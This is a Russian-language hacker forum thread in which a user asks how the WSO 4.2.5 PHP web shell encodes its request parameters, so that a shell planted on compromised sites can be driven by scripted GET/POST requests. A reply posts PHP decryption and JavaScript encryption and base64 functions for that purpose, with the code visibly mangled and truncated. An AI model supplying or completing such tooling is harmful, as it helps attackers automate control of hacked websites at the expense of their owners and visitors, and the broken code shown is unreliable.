
04.04.2020, 15:32
|
|
Постоянный
Регистрация: 16.11.2018
Сообщений: 620
С нами:
3943766
Репутация:
47
|
|
Сообщение от wpbrut
↑
ребят, подскажите пожалуйста:
- если управлять шеллом через GET POST запросы, то в WSO 2.5 через Fiddler можно нормально отследить передаваемые данные
проблема в том, что WSO 2.5 морально устарел и на многих пыхах частенько не открывается
приходится юзать WSO 4.2.5
но WSO 4.2.5 при тех же запросах кодирует данные
допустим слово "FilesMan" - "CwApCRQcJXoXA31K"
и уже просто так отправить запрос не получается
нужно передаваемые данные закодировать
как кодируются данные в WSO 4.2.5?
пример WSO 4.2.5
https://github.com/tennc/webshell/bl.../wso-4.2.5.php
подскажите плз
заранее благодарен
Вот функция разшифровки:
Код:
function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i=strlen($str))break;}}return base64_decode($enc_str);}
А вот шифрование
[CODE]
function encrypt(str,pwd){if(pwd==null||pwd.length=str.leng th)break;}}return base64_encode(enc_str);}
function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl =string.length;for(var n=0;n127&&c1>6)|192)+String.fromCharCode((c1&63)|1 28);}else{enc=String.fromCharCode((c1>>12)|224)+St ring.fromCharCode(((c1>>6)&63)|128)+String.fromCha rCode((c1&63)|128);}if(enc!==null){if(end>start){u tftext+=string.slice(start,end);}utftext+=enc;star t=end=n+1;}}if(end>start){utftext+=string.slice(st art,stringl);}return utftext;}
function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvw xyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCod eAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeA t(i++);bits=o1>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6 &0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64. charAt(h4);}while(i
|
|
|